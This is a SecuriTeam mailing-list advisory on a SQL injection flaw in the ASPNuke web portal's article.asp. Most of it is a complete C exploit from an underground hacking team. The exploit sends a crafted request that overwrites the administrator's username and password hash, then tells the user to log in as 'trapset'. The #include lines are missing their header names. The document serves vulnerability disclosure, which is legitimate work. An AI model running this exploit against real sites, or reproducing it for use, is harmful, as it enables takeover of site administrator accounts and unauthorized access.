[EXPL] ASPNuke SQL Injection Vulnerability (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  ASPNuke SQL Injection Vulnerability (Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://www.aspnuke.com/> ASPNuke is a free open-source (GPL) modular 
Active Server Pages web portal supporting MySQL/SQLServer. ASPNuke is 
vulnerable to an SQL injection vulnerability that allows an attacker to 
change the portal's administrator user name and password.

DETAILS

The flaw is found at the articleid parameter in the article.asp. By 
injecting SQL commands, the attacker can change ASP-Nuke administrator's 
password and username.

Exploit:
/*
*******************************************
* T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m *
*******************************************
EXPLOIT FOR : ASPNuke SQL Injection Vulnerability

Coded By: A l p h a _ P r o g r a m m e r (Sirus-v)
E-Mail: Alpha_Programmer at Yahoo

This Xpl Change ASP-Nuke Admin's Password and Username , You can Change 
This Code For Yourself

Discovered By : Trap-Set Underground Hacking Team (OIL_KarchacK)

*******************************************
* GR33tz T0 ==> mh_p0rtal -- oil_Karchack -- Dr-CephaleX -- Str0ke *
*And Iranian Security & Technical Sites: *
*  *
* Crouz , Simorgh-ev , IHSsecurity , AlphaST , Shabgard & GrayHatz.NeT *
*******************************************
*/
#include 
#include 
#include 
#pragma comment(lib, "ws2_32.lib")
#include 


#define	MY_PORT		80
#define	BUF_LEN		256

int main(int arg_c, char *arg_v[])
{
static const char cmd[] =
"GET /module/article/article/article.asp?articleid=1%20;"
"%20update%20tbluser%20SET%20password="
"'bf16c7ec063e8f1b62bf4ca831485ba0da56328f818"
"763ed34c72ca96533802c'%20,%20username="
"'trapset'%20where%20userID=1%20-- HTTP/1.0\n"
"Host: Host.com\n\n\n\n";

struct sockaddr_in their_adr;
char buf[BUF_LEN];
struct hostent *he;
int sock, i;
WSADATA wsdata;

/* Winsock start up */
WSAStartup(0x0101, &wsdata);
atexit((void (*)(void))WSACleanup);

if(arg_c != 2)
{
printf("Usage : ASPNuke.exe [Targ3t]\n");
return 1;
}
/* create socket */
printf("calling socket()...\n");
sock = socket(AF_INET, SOCK_STREAM, 0);

he = gethostbyname(arg_v[1]);
if(he == NULL)
{
printf("Can't Get IP address of Host '%s'\n", arg_v[1]);
return 1;
}
memset(&their_adr, 0, sizeof(their_adr));
their_adr.sin_family = AF_INET;
memcpy(&their_adr.sin_addr, he->h_addr, he->h_length);
their_adr.sin_port = htons(MY_PORT);
/* connect */
printf("[+] C0nnectinG...\n");
i = connect(sock, (struct sockaddr *)&their_adr, sizeof(their_adr));
if(i != 0)
{
printf("Connect() returned %d, errno=%d\n", i, errno);
return 1;
}
/* send HTTP command */
printf("[+] Injecting SQL...\n");
i = send(sock, cmd, sizeof(cmd), 0);
if(i != sizeof(cmd))
{
printf("Send() returned %d, errno=%d\n", i, errno);
return 1;
}

/* close socket */
printf("[+] Changed ...\n");
closesocket(sock);
printf ("Now , Login With :\n");
printf ("Username: trapset\n");
printf ("Password: trapset\n");
printf ("Enjoy ;)\n");
return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
Alpha Programmer.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.